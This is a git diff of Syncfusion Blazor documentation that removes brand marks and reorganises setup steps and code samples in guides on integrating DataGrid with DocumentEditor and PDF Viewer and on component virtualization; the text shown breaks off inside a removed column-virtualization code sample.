--- a/blazor/common/integration/blazor-with-document-editor.md
+++ b/blazor/common/integration/blazor-with-document-editor.md
@@ -1,19 +1,19 @@
 ---
 layout: post
 title: Syncfusion® Blazor DocumentEditor and DataGrid Integration
-description: Step-by-step guide to integrate Syncfusion® Blazor DocumentEditor and DataGrid in Blazor applications.
+description: Step-by-step guide to integrate Blazor DocumentEditor and DataGrid components in Blazor applications.
 platform: Blazor
 control: common
 documentation: ug
 ---
 
-# Integrating Syncfusion® DataGrid with DocumentEditor in Blazor App
+# Integrating DataGrid with DocumentEditor in Blazor App
 
-This guide shows how to integrate the **[Syncfusion® Blazor DocumentEditor](https://www.syncfusion.com/docx-editor-sdk/blazor-docx-editor)** (WordProcessor) together with the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in a Blazor Web App using `Server` interactivity.
+This guide shows how to integrate the **[Blazor DocumentEditor](https://www.syncfusion.com/docx-editor-sdk/blazor-docx-editor)** (WordProcessor) together with the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in a Blazor Web App using `Server` interactivity.
 
 If you haven't created your Blazor App yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) to create a project.
 
-## Install Syncfusion® NuGet packages
+## Install NuGet packages
 
 From the server project folder (where the `.csproj` file is located), install the following packages:
 
@@ -36,7 +36,7 @@ dotnet restore
 
 ## Add required namespaces
 
-Open the `~/Components/_Imports.razor` file and import the Syncfusion® namespaces.
+Open the `~/Components/_Imports.razor` file and import the namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -48,9 +48,9 @@ Open the `~/Components/_Imports.razor` file and import the Syncfusion® namespac
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion® Blazor service
+## Register Blazor service
 
-Add the Syncfusion® Blazor service to the `~/Program.cs` file to enable Syncfusion® components in the application.
+Add the Blazor service to the `~/Program.cs` file to enable Blazor components in the application.
 
 {% tabs %}
 {% highlight c# tabtitle="~/_Program.cs" hl_lines="1 8" %}
@@ -70,21 +70,21 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add stylesheet and script resources
 
-To apply styles and enable Syncfusion® features, reference the theme CSS and scripts within the `~/Components/App.razor` file.
+To apply styles and enable features, reference the theme CSS and scripts within the `~/Components/App.razor` file.
 
 {% tabs %}
 {% highlight html  %}
 
 <head>
-    <!-- Syncfusion theme stylesheet -->
+    <!-- Theme stylesheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
 </head>
 
 <body>
-    <!-- Syncfusion Blazor DocumentEditor component's script reference-->
+    <!-- Blazor DocumentEditor component's script reference-->
     <script src="_content/Syncfusion.Blazor.WordProcessor/scripts/syncfusion-blazor-documenteditor.min.js" type="text/javascript"></script>
 
-    <!-- Syncfusion Blazor DataGrid component's script reference -->
+    <!-- Blazor DataGrid component's script reference -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 </body>
 
@@ -107,7 +107,7 @@ N> If the `interactivity location` is set to `Global` and the app is configured
 
 ## Integrate DataGrid and DocumentEditor
 
-Add the Syncfusion® Blazor **DocumentEditor** and **DataGrid** components to a `.razor` file within your app. 
+Add the Blazor **DocumentEditor** and **DataGrid** components to a `.razor` file within your app. 
 
 In this example, clicking the Invoice button in the **DataGrid** row generates an invoice for that order and displays it in the **DocumentEditor** for preview.
 
@@ -234,13 +234,13 @@ dotnet run
 {% endhighlight %}
 {% endtabs %}
 
-The app launches and renders the **[Syncfusion® Blazor DocumentEditor](https://www.syncfusion.com/docx-editor-sdk/blazor-docx-editor)** and **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in your default browser.
+The app launches and renders the **[Blazor DocumentEditor](https://www.syncfusion.com/docx-editor-sdk/blazor-docx-editor)** and **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in your default browser.
 
 ![Blazor DataGrid with DocumentEditor](images/documenteditor-with-datagrid.webp)
 
 ## Use cases
 
-Integrating the Syncfusion® Blazor **DataGrid** with the **DocumentEditor** enables users to transform structured data into fully editable Word style documents within a single workflow. Users can browse, filter, and select records in the DataGrid and instantly generate or update documents without switching applications.
+Integrating the Blazor **DataGrid** with the **DocumentEditor** enables users to transform structured data into fully editable Word style documents within a single workflow. Users can browse, filter, and select records in the DataGrid and instantly generate or update documents without switching applications.
 
 ### Invoice and quotation generation
 
@@ -264,6 +264,6 @@ Present business data such as project details, financial summaries, or operation
 
 ## See also
 
-- [Getting started with Syncfusion® Blazor DocumentEditor in Web App](https://help.syncfusion.com/document-processing/word/word-processor/blazor/getting-started/web-app)
+- [Getting started with Blazor DocumentEditor in Web App](https://help.syncfusion.com/document-processing/word/word-processor/blazor/getting-started/web-app)
 
-- [Getting started with Syncfusion® Blazor DataGrid in Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
\ No newline at end of file
+- [Getting started with Blazor DataGrid in Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
\ No newline at end of file
diff --git a/blazor/common/integration/blazor-with-pdf-viewer.md b/blazor/common/integration/blazor-with-pdf-viewer.md
index a1cf68246d..5a3e15fb10 100644
--- a/blazor/common/integration/blazor-with-pdf-viewer.md
+++ b/blazor/common/integration/blazor-with-pdf-viewer.md
@@ -1,19 +1,19 @@
 ---
 layout: post
 title: Integrating Syncfusion Blazor DataGrid with PDF Viewer
-description: Step-by-step guide to integrate the Syncfusion Blazor PDF Viewer and DataGrid in a Blazor Web App (Server).
+description: Step-by-step guide to integrate the Blazor PDF Viewer and DataGrid in a Blazor Web App using Server render mode.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Integrating Syncfusion® Blazor DataGrid with PDF Viewer
+# Integrating Blazor DataGrid with PDF Viewer
 
-This article explains how to integrate the **[Syncfusion® Blazor PDF Viewer](https://www.syncfusion.com/pdf-viewer-sdk/blazor-pdf-viewer)** with the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in a Blazor Web App using Server render mode.
+This article explains how to integrate the **[Blazor PDF Viewer](https://www.syncfusion.com/pdf-viewer-sdk/blazor-pdf-viewer)** with the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in a Blazor Web App using Server render mode.
 
 If you haven’t created a Blazor Web App yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) to create your project.
 
-## Install Syncfusion<sup style="font-size:70%">®</sup> Blazor NuGet packages
+## Install Blazor NuGet packages
 
 From the server project folder (where the `.csproj` file is located), install the following packages:
 * [Syncfusion.Blazor.SfPdfViewer](https://www.nuget.org/packages/Syncfusion.Blazor.SfPdfViewer)
@@ -33,11 +33,11 @@ dotnet restore
 
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet package list with component details. Verify the latest versions before installation.
+N> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet package list with component details. Verify the latest versions before installation.
 
 ## Add required namespaces
 
-Add Syncfusion<sup style="font-size:70%">&reg;</sup> and required .NET namespaces in the `~/Components/_Imports.razor` file.
+Add Blazor and required .NET namespaces in the `~/Components/_Imports.razor` file.
 
 {% tabs %}
 {% highlight razor tabtitle="_Imports.razor" %}
@@ -51,23 +51,24 @@ Add Syncfusion<sup style="font-size:70%">&reg;</sup> and required .NET namespace
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+## Register Blazor service
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service to the `~/Program.cs` file to enable Syncfusion<sup style="font-size:70%">&reg;</sup> components in the application.
+Add the Blazor service to the `~/Program.cs` file to enable Blazor components in the application.
 
 {% tabs %}
-{% highlight c# tabtitle="Program.cs" hl_lines="2 7 9 11" %}
+{% highlight c# tabtitle="Program.cs" hl_lines="2 8 10 12" %}
 
 ...
 using Syncfusion.Blazor;
 var builder = WebApplication.CreateBuilder(args);
-...
 
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents();
 // Configure SignalR to support large PDF file transfers
 builder.Services.AddSignalR(o => { o.MaximumReceiveMessageSize = 102400000; });
 // Add memory cache for PDF Viewer component caching
 builder.Services.AddMemoryCache();
-// Add Syncfusion Blazor service to the container.
+// Add Blazor service to the container.
 builder.Services.AddSyncfusionBlazor();
 ...
 
@@ -76,18 +77,26 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add stylesheet and script resources
 
-Add the following stylesheet and script references in the server app's `~/Components/App.razor` (inside the head/body as appropriate). Ensure no other Syncfusion theme CSS (for example, `bootstrap5.css` or `material.css`) is referenced to avoid conflicts.
+Before adding the stylesheet, ensure no other Blazor theme CSS (for example, `bootstrap5.css` or `tailwind.css`) is referenced to avoid conflicts.
+
+Add the following Blazor stylesheet and script references to `~/App.razor`.
 
 {% tabs %}
 {% highlight html tabtitle="App.razor" %}
 
-<!-- Syncfusion theme stylesheet -->
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<head>
+    ...
+    <!-- Blazor theme stylesheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+</head>
 
-<!-- Syncfusion Blazor core script (required for most components, including DataGrid) -->
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-<!-- Syncfusion Blazor PDF Viewer component script -->
-<script src="_content/Syncfusion.Blazor.SfPdfViewer/scripts/syncfusion-blazor-sfpdfviewer.min.js" type="text/javascript"></script>
+<body>
+    ...
+    <!-- Blazor core script (required for most components, including DataGrid) -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    <!-- Blazor PDF Viewer component script -->
+    <script src="_content/Syncfusion.Blazor.SfPdfViewer/scripts/syncfusion-blazor-sfpdfviewer.min.js" type="text/javascript"></script>
+</body>
 
 {% endhighlight %}
 {% endtabs %}
@@ -113,7 +122,7 @@ N> If the `interactivity location` is set to `Global` and the app is configured
 
 ## Integrate DataGrid and PDF Viewer
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> PDF Viewer and DataGrid components to any `.razor` file in the server project's `Pages` folder (for example, `~/Pages/Home.razor`).
+Add the [Blazor PDF Viewer](https://www.syncfusion.com/pdf-viewer-sdk/blazor-pdf-viewer) and [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) components to any `.razor` file in the server project's `Pages` folder (for example, `~/Pages/Home.razor`).
 
 The example below displays a **DataGrid** with sample order data, and selecting a row generates and loads a detailed PDF for that order in the **PDF Viewer**.
 
@@ -239,13 +248,15 @@ N> This example uses direct file system access for simplicity. In production app
 
 ## Run the application
 
-```
+{% tabs %}
+{% highlight bash tabtitle=".NET CLI" %}
 
 dotnet run
 
-```
+{% endhighlight %}
+{% endtabs %}
 
-The app launches and renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor PDF Viewer and DataGrid in your default browser.
+The app launches and renders the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) and [Blazor PDF Viewer](https://www.syncfusion.com/pdf-viewer-sdk/blazor-pdf-viewer) in your default browser.
 
 ![Blazor DataGrid with PDF Viewer](images/datagrid-with-pdfviewer.webp)
 
@@ -259,7 +270,7 @@ N> To fully test this example, create sample PDF files named `Order_1001.pdf` th
 
 ## Use cases
 
-Integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid with PDF Viewer provides powerful solutions for various business scenarios:
+Integrating the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) with [Blazor PDF Viewer](https://www.syncfusion.com/pdf-viewer-sdk/blazor-pdf-viewer) provides powerful solutions for various business scenarios:
 
 ### Invoice management system
 
@@ -283,9 +294,8 @@ Develop an e-learning platform where the DataGrid shows course materials, assign
 
 ## See also
 
-* [Getting Started with Syncfusion Blazor PDF Viewer in Blazor Web App](https://help.syncfusion.com/document-processing/pdf/pdf-viewer/blazor/getting-started/web-app)
-* [Getting Started with Syncfusion Blazor PDF Viewer in Blazor WASM](https://help.syncfusion.com/document-processing/pdf/pdf-viewer/blazor/getting-started/web-assembly-application)
-* [Getting Started with Syncfusion Blazor DataGrid in Blazor Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
-* [Getting Started with Syncfusion Blazor DataGrid in Blazor WASM](https://blazor.syncfusion.com/documentation/datagrid/getting-started)
-* [Blazor PDF Viewer Demo](https://liveviewereditorblazorapp.azurewebsites.net/demos/pdf-viewer/blazor-server/pdf-viewer/default-functionalities)
-* [Blazor DataGrid Demo – Overview](https://blazor.syncfusion.com/demos/datagrid/overview?theme=fluent2)
+* [Getting Started with Blazor PDF Viewer in Blazor Web App](https://help.syncfusion.com/document-processing/pdf/pdf-viewer/blazor/getting-started/web-app)
+* [Getting Started with Blazor PDF Viewer in Blazor WASM](https://help.syncfusion.com/document-processing/pdf/pdf-viewer/blazor/getting-started/web-assembly-application)
+* [Getting Started with Blazor DataGrid in Blazor Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
+* [Getting Started with Blazor DataGrid in Blazor WASM](https://blazor.syncfusion.com/documentation/datagrid/getting-started)
+
diff --git a/blazor/common/performance-and-scalability/virtualization.md b/blazor/common/performance-and-scalability/virtualization.md
index 6ea0781f8a..d5a3d4b898 100644
--- a/blazor/common/performance-and-scalability/virtualization.md
+++ b/blazor/common/performance-and-scalability/virtualization.md
@@ -1,133 +1,29 @@
 ---
 layout: post
-title: Virtualization in Syncfusion Blazor Components
-description: Learn how Syncfusion Blazor components use row and column virtualization, overscan, virtual placeholders, frozen columns, and infinite scrolling.
+title: Improve Blazor Performance with Virtualization | Syncfusion
+description: Learn how Syncfusion Blazor components use row and column virtualization, overscan count, virtual placeholders, frozen columns, and infinite scrolling.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Virtualization in Syncfusion® Blazor Components
+# Improve Blazor Performance with Virtualization
 
-## Overview
+Virtualization improves the performance of [Blazor components](https://www.syncfusion.com/blazor-components) by rendering only the items visible in the viewport and recycling DOM elements as the user scrolls. This reduces initial load time, lowers memory usage, and keeps the DOM size small, resulting in smoother scrolling and more responsive interactions.
 
-Virtualization improves the overall performance of [Syncfusion® Blazor components](https://www.syncfusion.com/blazor-components) by rendering only the elements that are visible in the viewport. Instead of creating all items at once, the framework reuses DOM elements while the user scrolls.
-
-This approach helps reduce the initial loading time and lowers memory usage. It also keeps the DOM smaller, which leads to smoother scrolling and more responsive interactions.
-
-With virtualization enabled, working with large datasets becomes easier and faster, even when they contain thousands of records.
-
-## Prerequisites and setup
-
-* [.NET 8.0 SDK](https://dotnet.microsoft.com/en-us/download/dotnet/8.0) or later
-* [Visual Studio Code](https://code.visualstudio.com/) with [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-
-### Create a Blazor Web App with Interactive Server
-
-Run the following commands in the **command-line interface (CLI)**.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet new blazor -o BlazorApp -int Server
-cd BlazorApp
-
-{% endhighlight %}
-{% endtabs %}
-
-### Install the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages
-
-Run the following commands to install the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages:
-* [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid) 
-* [Syncfusion.Blazor.Lists](https://www.nuget.org/packages/Syncfusion.Blazor.Lists/)
-* [Syncfusion.Blazor.FileManager](https://www.nuget.org/packages/Syncfusion.Blazor.FileManager) 
-* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
-   
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Lists -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.FileManager -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add required namespaces
-
-Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor namespaces in the `~/_Imports.razor` file.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-@using Syncfusion.Blazor.Lists
-@using Syncfusion.Blazor.FileManager
-
-{% endhighlight %}
-{% endtabs %}
-    
-### Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
-
-Add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the `~/Program.cs` file.
-
-{% tabs %}
-{% highlight c# tabtitle="Program.cs" hl_lines="2 4" %}
-...
-using Syncfusion.Blazor;
-...
-builder.Services.AddSyncfusionBlazor();
-....
-{% endhighlight %}
-{% endtabs %}
-
-### Add stylesheet and script resources
-
-Before adding the stylesheet, ensure that no other Syncfusion<sup style="font-size:70%">&reg;</sup> theme CSS (e.g., bootstrap5.css, material.css) is already referenced to avoid conflicts.
-
-Add the following stylesheet and script references in the `~/App.razor` file. 
-
-{% tabs %}
-{% highlight html tabtitle="App.razor" %}
-
-<!-- Syncfusion theme stylesheet -->
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-
-<!-- Syncfusion Blazor core script -->
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-{% endhighlight %}
-{% endtabs %}
-
-### Configure render mode
-
-For Server render mode, if your app's interactivity location is set to `Per page/component`, add the following directive at the top of each `~Pages/*.razor` file that requires interactive Server components.
-
-**Per-page directive (Server)**
-
-{% tabs %}
-{% highlight razor %}
-
-@* Define the desired render mode here *@
-@rendermode InteractiveServer
-
-{% endhighlight %}
-{% endtabs %}
+With virtualization enabled, large datasets become easier to handle, even when they contain thousands of records.
 
 ## Components supporting virtualization
 
-The following major Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components provide built-in virtualization support to efficiently handle large datasets.
+The following Blazor components provide built-in virtualization support for efficiently handling large datasets.
 
-* **[DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** – Supports row virtualization, column virtualization, buffered rendering (Overscan), virtual loading placeholders (mask row), frozen columns with virtualization, and infinite scrolling.
-* **[ListView](https://www.syncfusion.com/blazor-components/blazor-listview)** – Supports UI virtualization with window or container scrolling modes.
-* **[File Manager](https://www.syncfusion.com/blazor-components/blazor-file-manager)** – Supports UI virtualization in both Details and Large Icons views.
-* **[TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview)** – Provides UI virtualization to render only visible nodes, significantly boosting performance in large hierarchical structures.
-* **[Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart)** – Includes row virtualization, timeline virtualization, and column virtualization to efficiently render large project schedules and complex timelines. 
-* **[TreeGrid](https://www.syncfusion.com/blazor-components/blazor-tree-grid)** – Offers row virtualization, column virtualization, and cell placeholders (VirtualMaskRow) for smoother loading with large hierarchical data.
+* **[DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** - Supports row virtualization, column virtualization, overscan buffering, virtual loading placeholders (mask rows), frozen columns with virtualization, and infinite scrolling.
+* **[Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler)** - Supports virtual scrolling to efficiently render large appointment collections and improve timeline performance.
+* **[ListView](https://www.syncfusion.com/blazor-components/blazor-listview)** - Supports UI virtualization with window or container scrolling modes.
+* **[File Manager](https://www.syncfusion.com/blazor-components/blazor-file-manager)** - Supports UI virtualization in both Details and Large Icons views.
+* **[TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview)** - Supports UI virtualization to render only visible nodes, significantly improving performance in large hierarchical structures.
+* **[Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart)** - Supports row virtualization, timeline virtualization, and column virtualization to efficiently render large project schedules and complex timelines.
+* **[TreeGrid](https://www.syncfusion.com/blazor-components/blazor-tree-grid)** - Supports row virtualization, column virtualization, and cell placeholders (VirtualMaskRow) for smoother loading with large hierarchical data.
 
 ## Advantages of virtualization
 
@@ -136,817 +32,61 @@ The following major Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor comp
 | Faster initial load  | Renders only the items visible in the viewport    |
 | Reduced DOM size     | Keeps the DOM size small and reduces memory usage |
 | Smoother scrolling   | Reuses DOM elements to avoid frequent reflows     |
-| Scalable             | Performs well with tens of thousands of records   |
-
-## Types of virtualization
-
-| Type                              | Components                      | Description                                                                                                     |
-|-----------------------------------|---------------------------------|-----------------------------------------------------------------------------------------------------------------|
-| UI Virtualization                 | ListView, File Manager, TreeView| Renders only the visible items                                                                                  |
-| Row Virtualization                | DataGrid, Gantt Chart, TreeGrid | Renders rows in the viewport and loads more during vertical scrolling                                           |
-| Column Virtualization             | DataGrid, Gantt Chart, TreeGrid | Renders columns in view and loads more during horizontal scrolling                                              |
-| Timeline Virtualization           | Gantt Chart                     | Optimizes timeline segments (time units) to efficiently render large project timelines                          |
-| Cell Placeholder (VirtualMaskRow) | DataGrid, TreeGrid              | Shows placeholder cells while fetching or rendering virtualized content, improving perceived loading smoothness |
-| Infinite Scrolling                | DataGrid                        | Loads additional data blocks when the end of the content is reached                                             |
+| Scalable             | Handles tens of thousands of records efficiently  |
 
 ## DataGrid virtualization
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports several virtualization features that help it handle large datasets efficiently. These include row virtualization, column virtualization, Overscan buffering, loading placeholders, frozen columns with virtualization, and infinite scrolling. Together, these features make the grid faster, smoother, and more responsive when working with large amounts of data.
-
-### Row virtualization
-
-Row virtualization improves performance by rendering only the rows that are visible in the viewport. Instead of creating all rows at once, the DataGrid loads and reuses rows while you scroll vertically. This reduces the initial loading time, lowers memory usage, and keeps scrolling smooth.
-
-#### Configure row virtualization
-
-* Set [EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualization) to **true** on the grid.
-* Assign a fixed pixel [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height) (for example, Height="300").
-* Use [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize) to control how many rows load in each block.
-* Make sure all rows have the same height. Avoid text wrapping or templates that create different row sizes.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@TaskData" Height="300" EnableVirtualization="true">
-    <GridPageSettings PageSize="50"></GridPageSettings>
-    <GridColumns>
-        <GridColumn Field=@nameof(TaskDetails.TaskID) HeaderText="TaskID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Engineer) HeaderText="Engineer" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Designation) HeaderText="Designation" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Estimation) HeaderText="Estimation" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(TaskDetails.Status) HeaderText="Status" Width="150"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code{
-    public List<TaskDetails> TaskData { get; set; }
-    protected override void OnInitialized()
-    {
-        TaskData = TaskDetails.GenerateData(1000);
-    }  
-}
-
-{% endhighlight %}
-
-{% highlight cs tabtitle="TaskDetails.cs" %}
-
-public class TaskDetails
-{
-    public static List<TaskDetails> GenerateData(int count)
-    {
-        var names = new List<string> { "TOM", "Hawk", "Jon", "Chandler", "Monica", "Rachel", "Phoebe", "Gunther", "Ross", "Geller", "Joey", "Bing", "Tribbiani", "Janice", "Bong", "Perk", "Green", "Ken", "Adams" };
-        var hours = new List<int> { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
-        var designations = new List<string> { "Manager", "Engineer 1", "Engineer 2", "Developer", "Tester" };
-        var statusValues = new List<string> { "Completed", "Open", "In Progress", "Review", "Testing" };
-        var random = new Random();
-        var result = new List<TaskDetails>();
-        // Generate random data.
-        for (int i = 0; i < count; i++)
-        {
-            result.Add(new TaskDetails
-            {
-                TaskID = i + 1,
-                Engineer = names[random.Next(names.Count)],
-                Designation = designations[random.Next(designations.Count)],
-                Estimation = hours[random.Next(hours.Count)],
-                Status = statusValues[random.Next(statusValues.Count)]
-            });
-        }
-        return result;
-    }
-    public int TaskID { get; set; }
-    public string Engineer { get; set; }
-    public string Designation { get; set; }
-    public int Estimation { get; set; }
-    public string Status { get; set; }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXreXrDghESsUlpk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-### Column virtualization
-
-Column virtualization improves performance when the DataGrid has many columns. Only the columns that are currently visible in the viewport are rendered. As you scroll horizontally, additional columns load automatically. This results in faster rendering, lower memory usage, and smoother horizontal scrolling.
-
-#### Configure column virtualization
-
-* Set [EnableColumnVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableColumnVirtualization) to **true** on the grid.
-* Assign a fixed pixel [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width) to every column.
-* Avoid percentage-based widths.
-* If no width is defined, the grid uses the default width of `200px`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="GridData" Height="300px" EnableColumnVirtualization="true">
-    <GridColumns>
-        <GridColumn Field=@nameof(VirtualData.SNo) HeaderText="S.No" Width="140"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD1) HeaderText="Player Name" Width="140"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD2) HeaderText="Year" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD3) HeaderText="Stint" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD4) HeaderText="TMID" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD5) HeaderText="LGID" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD6) HeaderText="GP" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD7) HeaderText="GS" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD8) HeaderText="Minutes" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD9) HeaderText="Points" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD10) HeaderText="oRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD11) HeaderText="dRebounds" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD12) HeaderText="Rebounds" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD13) HeaderText="Assists" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD14) HeaderText="Steals" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD15) HeaderText="Blocks" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD16) HeaderText="Turnovers" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD17) HeaderText="PF" Width="130" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD18) HeaderText="fgAttempted" Width="150" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD19) HeaderText="fgMade" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD20) HeaderText="ftAttempted" Width="150" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD21) HeaderText="ftMade" Width="120" TextAlign="TextAlign.Right"></GridColumn>
-        <GridColumn Field=@nameof(VirtualData.FIELD22) HeaderText="ThreeAttempted" Width="150" TextAlign="TextAlign.Right"></GridColumn>
